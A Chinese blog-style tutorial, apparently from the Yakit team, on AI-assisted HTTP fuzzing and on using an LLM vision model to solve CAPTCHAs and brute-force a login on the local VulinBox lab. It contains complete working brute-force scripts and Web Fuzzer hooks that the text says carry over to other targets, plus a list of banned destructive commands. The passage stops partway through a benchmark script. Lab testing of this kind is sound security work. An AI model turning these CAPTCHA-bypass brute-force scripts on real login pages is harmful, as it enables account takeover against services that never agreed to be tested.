AI 接管 Fuzzing，告别手工发包

一、 前言：传统工作流的瓶颈

过去，当我们面对一个 HTTP 数据包想要进行深度漏洞挖掘时，通常的工作流是：

抓包 -> 送入 WebFuzzer -> 手动修改参数 -> 挂载字典 -> 发包 -> 响应历史中肉眼“找不同”。

这种方式在实战中有着明显的瓶颈：

体力消耗大：测试一个接口的 SQL 注入、XSS、越权、目录穿越，需要反复机械地修改多个位置。

认知负担重：当响应报文发生微调（如长度变化、时间延迟），人眼极易漏掉潜在的漏洞线索（如隐藏在深处的报错信息）。

这次更新的核心并不是简单的“AI 问答框”，而是将 HTTP Fuzzing 正式升级为一个完整的AI 专注模式。

二、AI WebFuzzer实战：自动化测试闭环

打开 WebFuzzer 界面，左侧新增了 AI Tab 栏。

操作流程：

使用 Yak 内置的 VulinBox 靶场进行测试。

询问 AI：尝试针对数据包对目标进行 SQL 注入检测。

这次改造的关键，是把 HTTP 报文解析、变异策略、发包引擎和响应差异分析，统一抽象成了一个由 AI 驱动的自动化测试闭环（Automated Testing Loop）。AI 在面对数据包时，会经历一条完整的实战编排链路：

感知初始状态：提取原始请求，建立基线（Baseline）。

制定测试策略：识别出潜在注入点（Query、Body、Header 等）。

选择动作与变异：决定是做单点 Patch，还是挂载 Fuzztag 批量爆破。

执行与多维打分：基于状态码、长度差、延迟、报错关键字对响应进行智能打分。

提取线索与迭代：保存“代表性数据包”，并决定下一步动作。

这相当于把 Web Fuzzer 从“发包器”升级成了 AI Agent 的动态安全分析沙盘。

三、 核心设计：AI 负责“策略”，Fuzztag 负责“火力”

要让 AI 真正接管 Fuzzing 流程，最大的挑战是上下文爆炸。如果让 AI 直接生成几百个 Payload，不仅极易产生幻觉，还会迅速耗尽 Token。

因此，我们引入了极其重要的设计：策略与执行的分离。

AI 的决策：系统向 AI 暴露了 Yakit 强大的 Fuzztag 生态。

引擎的执行：AI 只需要下发指令如 {{fuzz:sqli}} 或{{int(1000-1010)}}，底层的 Yakit 引擎就会自动将其展开。

繁重的发包、并发控制和字典管理，全部交由底层引擎完成，AI 只需专注于安全逻辑的推演。

四、 深度解析：四大技术支撑

系统为 AI 提供了分层的动作指令，体现了渐进式披露的设计原则：

专项测试：如 fuzz_method、fuzz_path、fuzz_header。

精准修补：通过 patch_http_request进行加头、改认证等微调。

彻底重构：仅在复杂场景下调用generate_and_send_packet。

系统内置了智能响应打分机制，AI 看到的不再是乱七八糟的响应，而是提纯后的“高分差异摘要”：

状态码突变（如 5xx）及响应体长度显著偏离。

命中syntax error、stack trace 等关键正则。

响应延迟（时间盲注特征）超过阈值。

引入了会话状态持久化，使 AI 拥有了运行时意图感知：

实时记录原始请求、当前生效请求、已测 Payload 和最近动作。

AI 不会重复测试相同 Payload，并能在测试受阻时决定是否更换方向。

在底层的 System Prompt 中，我们为 AI 划定了严格红线：

禁止破坏性命令：绝对禁止 DROP、DELETE、rm -rf 等。

无状态探测：验证 RCE 时只允许使用 id、whoami、sleep 等指令。

五、 总结：从静态助手走向实战队友

这次 HTTP Fuzzer 的智能化改造，标志着 AI 从“知识助手”走向了“动态实战队友”：

当 HTTP 报文变成了 AI 可以理解、操作、推演的状态机时，安全测试的上限不再仅取决于测试人员的体能，而取决于 AI 编排链路的深度。

Yakit HTTP Fuzzer 的 AI 进化之路，才刚刚开始。

END

跳转微信打开

附多方案对比，成本分析，Benchmark

前言

打开一个后台管理系统，一般来说可能仅仅是一个登录框。用户名、密码、验证码——三个输入框，一个提交按钮。密码可以爆破，用户名可以枚举，但验证码这个东西，一直是渗透测试中一个绕不开的拦路虎。

传统的解决思路无外乎几种：

1.使用 ddddocr 等开源 OCR 库，部署一套 Python 服务来识别验证码。问题在于，需要额外维护一套 Python 环境，模型对复杂验证码的识别率也不稳定，遇到扭曲、干扰线多的验证码就容易翻车。

2.接码平台。花钱买识别结果，成本不低，还有延迟问题。对于内部渗透测试这种不方便把数据外传的场景，也存在合规风险。

3.手动绕过。找逻辑漏洞、看验证码是否绑定 session、是否可以复用——运气好的时候管用，运气不好就只能干瞪眼。

这几种方式的共同问题是：要么成本高，要么不够通用，要么依赖外部环境。

那么在 AI 时代，有没有一种更直接的方式，不需要额外部署服务，不需要花钱买接码，直接在 Yaklang 里几行代码就能解决验证码识别？

实际上，Yaklang 的ai模块提供了ai.FunctionCall这个函数，配合 ai.imageBase64，可以让大模型直接"看懂"验证码图片，并把识别结果以结构化数据的形式返回给我们。不用训练模型，不用部署额外服务，Yakit 中配好了 AI 网关之后，几行代码就够了。

在本文中，我们将会以一个真实的验证码靶场为案例，完整演示一套递进的方案：

1.先用一个 Yak 脚本自动化爆破验证码保护的登录表单，在这个过程中顺手发现一个验证码逻辑漏洞。

2.然后面对正确实现的验证码（每次提交后立即作废），分别编写基础版和并发版爆破脚本。

3.再通过 Web Fuzzer 热加载方案，把验证码识别直接集成到 Yakit 的 GUI 操作流中。

4.最后用 Benchmark 测试，用数据说明 AI 识别验证码的成功率到底有多高

当然本篇内容的靶场和使用案例也并不是空想，而是来源于真实案例的总结和抽象。

一、准备工作

我们的测试目标是 Vulinbox中的一个验证码场景，运行在 http://127.0.0.1:8787/verification/op。

页面很直白：一张验证码图片、一个验证码输入框、一个密码输入框。页面上还贴心地告诉我们——"密码差不多是四位数字，但是是为了防止你爆破加了验证码，所以你得想点办法"。

那么我们先来梳理一下这个验证码服务的完整交互流程：

分析一下关键要点：

1.验证码与 Session 绑定。每次 GET /verification/op 都会生成一个新的 YSESSIONID，验证码图片通过 /verification/code 获取时才会真正生成 captcha.Data 并绑定到 session 上。

2.密码空间有限。密码是启动时随机生成的四位数字，范围 0000-9999，总共 10000 种可能。如果没有验证码拦截，暴力枚举并不是什么难事。

3.核心矛盾很清楚。要爆破密码，就必须同时解决验证码问题——每次尝试一个密码，都需要先获取一张验证码图片、识别它、然后和密码一起提交。

那么接下来的问题就变成了：如何高效且准确地识别每一张验证码？

在动手写爆破脚本之前，我们先来了解一下核心武器——ai.FunctionCall。

ai.FunctionCall 是 Yaklang ai 模块中的一个函数，做的事情很直接：给 AI 一段输入（文字或图片），告诉它期望的输出格式，它就会返回对应格式的结构化数据。

为什么我们要关心这个函数？因为传统的 OCR 方案说白了是模式匹配——用训练好的模型去匹配字符形状。而 ai.FunctionCall 走的是一条不同的路线：它让大模型去"理解"图片内容，然后按照我们指定的格式返回结果。大模型在图像理解上的能力远超传统 OCR，尤其面对有扭曲、干扰线、颜色混淆的验证码时，识别率要高出不少。

那么如何使用它？我们直接看代码：

result, err = ai.FunctionCall(
    `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
    {"code": "从图片中提取的验证码类似的内容"},
    ai.imageBase64(imageBase64Data),
)
captchaText = result["code"]

三个参数分别是：

1.自然语言指令。告诉 AI 要做什么。这里我们让它"从图片中提取展示内容文本"。指令写得越清晰，结果越准确。

2.期望输出结构。一个 map，key 是字段名，value 是对这个字段的自然语言描述。AI 会按照这个结构返回结果。在这里我们只需要一个 code字段，用来存放识别出的验证码文本。

3.图片数据。通过 ai.imageBase64() 传入 Base64 编码的图片。Yaklang 还支持 ai.imageFile() 直接传文件路径、ai.imageRaw() 传原始字节，用哪个看场景。

返回值 result 是一个 map[string]any，直接用 result["code"] 就能拿到识别出的验证码文本。

理解了这个接口之后，我们就可以开始组装爆破脚本了。

先看完整的爆破流程：

这里有一个细节值得注意：在实际测试中我们发现，这个靶场的验证码在密码错误后并不会刷新——同一个 session 里的验证码是可以复用的。因此最优的策略是：先识别一次验证码，然后用同一个验证码快速遍历所有密码；只有当验证码识别失败时（服务端返回 verification code not match），才需要重新获取 session 和验证码。

这意味着我们只需要调用一次（或很少几次）AI，就可以完成整个爆破。

接下来是完整的 Yak 脚本：

target = "http://127.0.0.1:8787"
// 封装获取 session + 识别验证码的逻辑
getSessionAndCaptcha = func() {
    rsp, _, err = poc.Get(target + "/verification/op")
    die(err)
    sessionCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, "YSESSIONID")


    codeRsp, _, err = poc.Get(
        target + "/verification/code",
        poc.header("Cookie", sprintf("YSESSIONID=%v", sessionCookie)),
    )
    die(err)


    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    die(err)


    captchaCode = result["code"]
    log.info("new session: %v, recognized captcha: %v", sessionCookie, captchaCode)
    return sessionCookie, captchaCode
}
cookie, captcha = getSessionAndCaptcha()
for i = 0; i < 10000; i++ {
    passStr = sprintf("%04d", i)
    log.info("trying password: %v with captcha: %v", passStr, captcha)


    submitRsp, _, err = poc.Post(
        target + "/verification/op",
        poc.header("Cookie", sprintf("YSESSIONID=%v", cookie)),
        poc.replacePostParam("code", captcha),
        poc.replacePostParam("password", passStr),
    )
    if err != nil {
        log.error("submit failed: %v", err)
        cookie, captcha = getSessionAndCaptcha()
        continue
    }


    body = string(submitRsp.GetBody())


    // 验证码被拒绝，说明识别错了，重新获取
    if body.Contains("verification code not match") {
        log.warn("captcha was wrong, getting new session and captcha...")
        cookie, captcha = getSessionAndCaptcha()
        i--
        continue
    }


    // 验证码正确但密码错误，继续下一个密码
    if body.Contains("密码错误") {
        continue
    }


    // 既没有验证码错误也没有密码错误，说明成功了
    log.info("SUCCESS! password is: %v", passStr)
    println(body)
    break
}

我们来看这个脚本的几个关键点：

1.Session 与验证码一起获取。我们把获取 session、拉验证码图片、AI 识别封装成一个函数 getSessionAndCaptcha，需要的时候调一次就行。

2.验证码可以复用。这个靶场在密码错误后不会刷新验证码，因此识别一次就够了。只有当验证码本身识别错了（服务端返回 verification code not match），才需要重新获取。这个发现让爆破效率大幅提升——从每次密码都要调 AI，变成只调用一次。

3.AI 识别的调用很简洁。codec.EncodeBase64 编码、ai.FunctionCall 识别、result["code"] 取结果，三步完成。

4.容错处理。验证码错误时 i-- 回退计数器，确保不跳过任何密码。

在笔者的实际测试中，AI 识别出验证码后服务端接受，快速遍历密码，大约 20 秒内就命中了正确密码。

Wait a Minute，事情还没结束。

细心的读者可能已经注意到了上面脚本中一个不太对劲的地方——我们只识别了一次验证码，就可以用它遍历所有 10000 个密码。这意味着什么？

我们回头看服务端的行为：密码错误后，验证码没有被刷新，session 里的 captcha 数据还在。这实际上是一个验证码逻辑漏洞——验证码在使用后没有被删除，可以无限复用。

在真实的渗透测试中，这种逻辑漏洞并不少见。后端开发者可能只在验证码不匹配时刷新验证码，却忽略了"验证码正确但密码错误"这个分支。结果就是：攻击者只需要识别一次验证码，就等于验证码保护形同虚设。

这个漏洞虽然降低了我们的爆破难度，但在实战中我们更常面对的是正确实现的验证码——每次提交后验证码立即作废，无论对错。

那么面对这种更严格的验证码保护，我们的 AI 方案还能不能扛住？

三、安全版验证码:每次提交后立即作废

在 Vulinbox 中，我们同样准备了一个安全实现的验证码场景，运行在 /verification/safe/op。和前面的漏洞版本相比，安全版本做了一个关键的改动：

每次 POST 提交后，无论验证码对错、密码对错，session 中的验证码数据都会被立即删除。

这意味着攻击者每尝试一个密码，都必须重新获取验证码图片、重新 AI 识别。没有任何捷径可走。

那么我们应该怎么处理这种情况？

最直接的思路——每次密码尝试都走一遍完整流程：获取 session → 获取验证码 → AI 识别 → 提交。逻辑清晰，代码简洁，适合理解整个工作流程。

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
for i = 0; i < 10000; i++ {
    passStr = sprintf("%04d", i)


    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil { log.error("get page failed: %v", err); continue }
    cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)


    codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))
    if err != nil { log.error("get captcha failed: %v", err); continue }


    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))
    if err != nil { log.error("ai failed: %v", err); continue }
    captchaCode = result["code"]


    log.info("trying password: %v, captcha: %v", passStr, captchaCode)


    submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))
    if err != nil { log.error("submit failed: %v", err); continue }


    body = string(submitRsp.GetBody())
    if body.Contains("verification code not match") {
        log.warn("captcha wrong, will retry this password")
        i--
        continue
    }
    if !body.Contains("密码错误") {
        log.info("SUCCESS! password is: %v", passStr)
        println(body)
        break
    }
}

这个脚本的逻辑和前面漏洞版本的区别在于：每次循环都是一个完整的独立流程。不存在验证码复用，每一次密码尝试都必须先让 AI 看一遍新的验证码图片。

基础版的问题也很明显——串行执行，每次密码尝试大约需要 2 秒（主要是 AI 调用的延迟）。遍历 10000 个密码理论上需要 5 个多小时。对于渗透测试来说，这个速度有些不够看。

那么有什么办法加速？

既然每次密码尝试都是一个独立的 session，互不干扰，那我们完全可以并行执行多个尝试。用多个 worker 同时发起独立的 session、独立识别验证码、独立提交，密码空间被自然地分摊到各个 worker 上。

并发版脚本如下：

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
concurrency = 5
found = false
foundPass = ""
tryPassword = func(passStr) {
    for retries = 0; retries < 3; retries++ {
        if found { return }


        rsp, _, err = poc.Get(target + "/verification/safe/op")
        if err != nil { log.error("get page failed: %v", err); continue }
        cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)


        codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)))
        if err != nil { log.error("get captcha failed: %v", err); continue }


        imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
        result, err = ai.FunctionCall(`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`, {"code": "从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))
        if err != nil { log.error("ai failed: %v", err); continue }
        captchaCode = result["code"]


        log.info("trying password: %v, captcha: %v", passStr, captchaCode)


        submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))
        if err != nil { log.error("submit failed: %v", err); continue }


        body = string(submitRsp.GetBody())
        if body.Contains("verification code not match") {
            log.warn("captcha wrong for password %v, retrying (%d/3)...", passStr, retries+1)
            continue
        }
        if !body.Contains("密码错误") {
            found = true
            foundPass = passStr
            log.info("SUCCESS! password is: %v", passStr)
        }
        return
    }
}
swg = sync.NewSizedWaitGroup(concurrency)
for i = 0; i < 10000; i++ {
    if found { break }
    passStr = sprintf("%04d", i)
    swg.Add()
    go func {
        defer swg.Done()
        tryPassword(passStr)
    }
}
swg.Wait()
if found {
    log.info("brute force completed, password: %v", foundPass)
} else {
    log.info("brute force completed, password not found")
}

并发版的几个关键设计：

1.sync.NewSizedWaitGroup(5) 控制并发数。5 个 worker 同时跑，吞吐量提升到串行版的约 5 倍。可以根据 AI 接口的并发限制灵活调整。

2.每个 goroutine 完全独立。独立的 session、独立的验证码、独立的 AI 识别——session 之间没有任何状态共享，天然适合并发。

3.验证码识别失败自动重试。tryPassword内部有最多 3 次重试，避免因为偶尔的 AI 识别失误就跳过某个密码。

4.全局 found 标志。任何一个 worker 成功后，其他 worker 会在下一轮循环前检查到 found 标志并退出。

在笔者的测试中，5 个并发 worker 大约每秒可以尝试 2-3 个密码。相比串行版的每 2 秒一个密码，效率提升显著。

脚本方案已经可以工作了，但如果我们想在 Yakit 的 Web Fuzzer 中更灵活地使用呢？

比如说，我们已经在 Web Fuzzer 里构造好了请求数据包，密码字段用了 {{int(0000-9999|4)}} 来枚举，但验证码字段怎么办？总不能手动一个一个填吧。

这时候 Web Fuzzer 的热加载就派上用场了。热加载允许我们编写一段 Yak 代码，在每个请求发出之前对请求内容进行修改。我们只需要定义一个 beforeRequest 函数，Web Fuzzer 在发出每个请求前会自动调用它。

热加载入口的标准签名是：

// beforeRequest 允许在每次发送数据包前对请求做最后的处理
// https     - 请求是否为 https 请求
// originReq - 原始请求（未经过 Fuzzer 标签渲染）
// req       - 即将发送的请求（已经过 Fuzzer 标签渲染）
beforeRequest = func(https, originReq, req) {
    return req
}

在前面的脚本实战中我们已经验证：安全版验证码每次提交都会作废，所以 Web Fuzzer 中如果想爆破密码，每个请求都必须配一对全新的 (session, 验证码)。简单复用模板里的 Cookie 是行不通的。

那么 beforeRequest 里要做的事情就清楚了：

1.现场获取一个新的 session。GET /verification/safe/op 拿到 Set-Cookie: YSESSIONID_SAFE=xxx

2.用这个 session 拉验证码图片。GET /verification/safe/code 携带刚拿到的 Cookie

3.AI 识别验证码

4.改写传入的请求：把请求中的 YSESSIONID_SAFE Cookie 替换为新的，把 POST 参数 code 替换为识别结果

5.返回改写后的请求，密码字段保持 Fuzzer 标签自然枚举

请求模板就是一个最普通的 POST 表单提交，验证码字段用占位值 temp（反正会被热加载覆盖），密码字段用 Fuzzer 标签 {{int(0000-9999|4)}} 来枚举。Cookie 也填一个占位值，热加载会替换掉它：

POST /verification/safe/op HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/x-www-form-urlencoded
Cookie: YSESSIONID_SAFE=PLACEHOLDER
code=temp&password={{int(0000-9999|4)}}

我们先把上面四步落到代码上。注意，下面这段是第一版——只处理"识别一次"的情况，识别错了直接吃下去：

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
beforeRequest = func(https, originReq, req) {
    // 1. 获取一个全新的 session
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil {
        log.error("get session failed: %v", err)
        return req
    }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)


    // 2. 用这个 session 拉一张验证码图片
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil {
        log.error("get captcha failed: %v", err)
        return req
    }


    // 3. AI 识别
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil {
        log.error("ai recognize captcha failed: %v", err)
        return req
    }
    captchaCode = result["code"]
    log.info("recognized captcha: %v", captchaCode)


    // 4. 改写请求：替换 Cookie 和 code 字段
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}

四步对应得很整齐：拉session、拉验证码、AI 识别、改写请求。poc.ReplaceHTTPPacketCookie 和 poc.ReplaceHTTPPacketPostParam 这两个函数会自动处理 Content-Length 等细节，我们不用手动维护。

把这段贴到 Web Fuzzer 里跑一下，会看到一个尴尬的现象——

不少请求的响应都是verification code not match。这正是前面Benchmark 章节里 57% 单次识别率的直接体现：每 10个 请求里，大约会有 4 个因为 AI 没认对验证码而被服务端拒掉，密码相当于白试了。

那么我们要怎么处理这种情况？

Web Fuzzer 的热加载除了 beforeRequest，还提供了另外两个非常关键的钩子：

这个钩子刚好就是为我们这个场景准备的。思路立刻就出来了：

1.retryHandler重新走一遍"拉 session → 拉验证码 → AI 识别 → 改写请求"，然后调用 retry(newReq) 用新请求重试。

那么有一个问题——beforeRequest 和 retryHandler 都需要"拉 session → AI 识别 → 改写请求"这同一段逻辑。直接复制粘贴当然能跑，但代码就重复了。我们把这段公共逻辑抽成一个函数 recognizeAndPatch(req)：

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
maxRetry = 6  // 单次成功率 ~57%，6 次重试覆盖 99% 以上
// === 公共函数：拉 session、AI 识别验证码、改写传入的请求 ===
recognizeAndPatch = func(req) {
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil {
        log.error("get session failed: %v", err)
        return req
    }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil {
        log.error("get captcha failed: %v", err)
        return req
    }
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil {
        log.error("ai recognize captcha failed: %v", err)
        return req
    }
    captchaCode = result["code"]
    log.info("session=%v, captcha=%v", newCookie, captchaCode)
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}
// === HOOK：beforeRequest —— 每个新请求发出前先识别一次 ===
beforeRequest = func(https, originReq, req) {
    return recognizeAndPatch(req)
}
// === HOOK：retryHandler —— 重试时重新识别一次再发 ===
retryHandler = func(https, retryCount, req, rsp, retry) {
    if retryCount > maxRetry {
        log.Error("Recog error for code")
        return
    }
    body = string(poc.GetHTTPPacketBody(rsp))
    if body.Contains("verification code not match") {
        newReq = recognizeAndPatch(req)
        retry(newReq)
    }
}

四个关键点：

1.公共函数 recognizeAndPatch(req)。把"换 session + AI 识别 + 改写请求"封装成一个纯函数，接收原请求、返回新请求。beforeRequest和retryHandler 都调用它，逻辑只有一份。

2.beforeRequest 只剩一行。所有重活都委托给公共函数。

3.retryHandler 重新识别后调 retry。retryCount 是当前已经重试的次数，超过 maxRetry（这里设 6）就放弃。每次重试都重新拉一对全新的 (session, 验证码)，所以哪怕连续几次都被 AI 认错，也能继续往下重试。

为什么 maxRetry 设 6？回到 Benchmark 章节：单次成功率 ~57%，6 次重试累积成功率 99.37%。换句话说，1000 个密码里，最多只有 6 个会因为重试 6 次都失败而漏掉。这个比例完全可以接受。

五、调试与使用

热加载代码贴到 Web Fuzzer 之前，最好先单独验证一下这两个钩子的联动是不是真的能打通。

这套涉及两个回调的逻辑要是直接上 Web Fuzzer 调起来非常麻烦。

这里先明确一下 retryHandler的调度语义：只要热加载里定义了retryHandler，Web Fuzzer 每个请求发完都会把响应交给它，是否真的重试完全由 retryHandler自己决定——

• 如果它调用了retry(newReq)，Web Fuzzer 就用 newReq再发一次（并把retryCount + 1 再丢进来）；

• 如果它直接 return（不调 retry），这次请求就算结束，不会重试。

换句话说，"失败判定"和"改写请求"都收敛在 retryHandler 一个函数里，不需要再去配 customFailureChecker 或 UI 上的失败关键字。这也是我们只用 beforeRequest + retryHandler 两个钩子就能闭环的原因。

我们直接用 YAK Runner 模拟 Web Fuzzer 的调用顺序：先调 beforeRequest拿到改写过的请求 → 实际发出 → 把响应交给 retryHandler → 如果 retryHandler 决定重试，再实际发一次。

target = "http://127.0.0.1:8787"
cookieName = "YSESSIONID_SAFE"
maxRetry = 6
template = `POST /verification/safe/op HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/x-www-form-urlencoded
Cookie: YSESSIONID_SAFE=PLACEHOLDER
code=temp&password=0000`
// === 下面这一段（公共函数 + 两个钩子）就是要粘贴到 Web Fuzzer 里的代码 ===
recognizeAndPatch = func(req) {
    rsp, _, err = poc.Get(target + "/verification/safe/op")
    if err != nil { log.error("get session failed: %v", err); return req }
    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
    codeRsp, _, err = poc.Get(
        target + "/verification/safe/code",
        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),
    )
    if err != nil { log.error("get captcha failed: %v", err); return req }
    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())
    result, err = ai.FunctionCall(
        `执行数据标注任务，从图片中提取展示内容文本，放置在结果中`,
        {"code": "从图片中提取的验证码类似的内容"},
        ai.imageBase64(imageBase64),
    )
    if err != nil { log.error("ai failed: %v", err); return req }
    captchaCode = result["code"]
    log.info("session=%v, captcha=%v", newCookie, captchaCode)
    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)
    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)
    return req
}
beforeRequest = func(https, originReq, req) {
    return recognizeAndPatch(req)
}
retryHandler = func(https, retryCount, req, rsp, retry) {
    if retryCount > maxRetry {
        log.error("captcha recognize retry exceeded: %v", retryCount)
        return
    }
    body = string(poc.GetHTTPPacketBody(rsp))
    if body.Contains("verification code not match") {
        newReq = recognizeAndPatch(req)
        retry(newReq)
    }
}
// ============ 调试入口：模拟 Web Fuzzer 的调用链 ============
log.info("=== Step 1: beforeRequest ===")
req1 = beforeRequest(false, []byte(template), []byte(template))
println(string(req1))
log.info("=== Step 2: send req1 ===")
rsp1, _, err = poc.HTTP(req1, poc.host("127.0.0.1"), poc.port(8787))
die(err)
println(string(rsp1))
log.info("=== Step 3: retryHandler ===")
// 用一个闭包模拟 Web Fuzzer 传进来的 retry 回调：
// retryHandler 调用 retry(newReq) 时，把 newReq 捕获下来；不调则 retryReq 保持为空。
retryReq = []byte("")
retry = func(reqs...) {
    if len(reqs) > 0 { retryReq = reqs[0] }
}
retryHandler(false, 1, req1, rsp1, retry)
if len(retryReq) == 0 {
    log.info("retryHandler decided NOT to retry - step 1 already succeeded (no captcha mismatch)")
    return
}
log.info("=== Step 4: send retry request ===")
rsp2, _, err = poc.HTTP(retryReq, poc.host("127.0.0.1"), poc.port(8787))
die(err)
println(string(rsp2))
body2 = string(poc.GetHTTPPacketBody(rsp2))
if body2.Contains("verification code not match") {
    log.warn("retry STILL FAILED - Web Fuzzer will keep calling retryHandler until maxRetry")
} else {
    log.info("RETRY SUCCESS: captcha recognized correctly, full hook chain works end-to-end")
}

这个调试脚本会出现两种情况，对应 retryHandler 的两条分支：

1.第一次就识别正确：Step 2 的响应体里不包含 verification code not match，retryHandler 里的 if 条件不成立，不会调用 retry，retryReq 保持为空。脚本在 Step 3 之后就 return 了——这正是"一次过"的情况。

2.第一次识别错误：Step 2 的响应体里包含 verification code not match，retryHandler 内部重新调 recognizeAndPatch 拿到一对新的 (session, 验证码)，然后 retry(newReq) 把新请求捕获到 retryReq 里；Step 4 实际发出去，看到 密码错误 之类的响应就说明两个钩子已经完整联动。

笔者实测时刚好命中了第二种情况：第一次识别 sdgq 错了，retryHandler 在第二次用 b8Ez 通过了校验，整套钩子按预期串起来。具体实际测试效果应该如图日志所展示的类似：

调试通过之后，回到 Web Fuzzer：

1.把上面"v2 完整热加载代码"整段粘贴到热加载编辑器；

2.在请求模板中，按"Web Fuzzer 的请求模板"那一节的格式填入数据包，密码字段用 {{int(0000-9999|4)}}，Cookie 写一个占位值即可（真正的值会由 beforeRequest 覆盖掉）；

3.打开重试开关——这是让 Web Fuzzer 进入重试调度、从而调用 retryHandler 的前提。UI 上的"重试次数"建议填 6 跟 maxRetry 保持一致；不过注意，配置了 retryHandler 之后，真正的终止条件其实是 retryHandler 内部的 retryCount > maxRetry 判断，UI 数值更多是给人看的语义对齐；

4.配置好并发数（建议 5-10），点击发送。

【配图：Web Fuzzer 爆破过程中的结果列表截图，展示成功命中的请求和被自动重试的请求】

跑起来之后能看到，相比 v1 版本，响应里 verification code not match 的请求会被 retryHandler 拦下来、换一对全新的 (session, 验证码) 之后自动重发，最终落到结果列表里的几乎都是有效的密码错误或者最终命中的 secret 页面，AI 识别失败的密码不再被白白浪费。

热加载方案的优势在于，验证码识别的逻辑和 Web Fuzzer 的爆破能力直接打通了。我们不需要自己写爆破循环、不需要自己管理并发和重试，只需要关注"如何识别验证码"这一件事，剩下的并发控制、字典管理、重试调度、结果展示都交给 Web Fuzzer。整套方案只用到了 beforeRequest 和 retryHandler 两个钩子，失败判定被收敛在 retryHandler 里，没有引入额外的失败检测机制。

并且这段热加载代码是可以复用的——换一个目标，只需要改一下 target、cookieName、验证码图片的路径以及 retryHandler 里的失败关键字（verification code not match），核心的 AI 识别逻辑完全不用动。

六、AI模型识别验证码

方案跑通了，下一个该回答的问题：AI 识别验证码的准确率到底有多少？选哪个模型？

热加载里我们写的是 ai.FunctionCall(..., ai.model("xxx"))，换模型就是改一行字符串。所以"选哪个模型"本质就是一次横向 Benchmark——比的东西也很直白：单次成功率、耗时、价格。

笔者用 vulinbox 的安全版验证码做对比。

/verification/safe/op 这条路径每次 POST 校验后会立刻把验证码从 session 里删掉（delete(val, "code")），验证码用一次即废。下次必须拉全新的一对 (session, 验证码)，和 Web Fuzzer 里每次爆破请求的工作方式一致。

服务端对"验证码不对"的回包是精确的字符串 verification code not match，单次失败的判定直接看这个就行。

核心逻辑和前面热加载里的 recognizeAndPatch 相同。唯一差别：把识别出来的 code 配合故意错的密码 0000 提交给 /verification/safe/op，然后看响应里有没有 verification code not match——

• 没有 → AI 认对了（服务端进入"密码错误"分支）

• 有   → AI 认错了

把单次流程塞进 sized-wait-group，就成了一个可并发的 Benchmark runner：

target     = cli.String("target",     cli.setDefault("http://127.0.0.1:8787"))
modelName  = cli.String("model",      cli.setDefault("memfit-vision-free"))
total      = cli.Int("total",         cli.setDefault(300))
concurrent = cli.Int("concurrent",    cli.setDefault(10))
cli.check()
cookieName = "YSESSIONID_SAFE"
mu = sync.NewMutex()
successCount := 0
captchaFailCount := 0
aiErrCount := 0
costs := []
swg = sync.NewSizedWaitGroup(concurrent)
for i := 0; i < total; i++ {
    swg.Add()
    idx := i
    go func {
        defer swg.Done()
        // 1) 拉 session + 拉验证码
        rsp, _, err := poc.Get(target + "/verification/safe/op")
        if err != nil { return }
        cookie := poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)
        codeRsp, _, err := poc.Get(
            target + "/verification/safe/code",
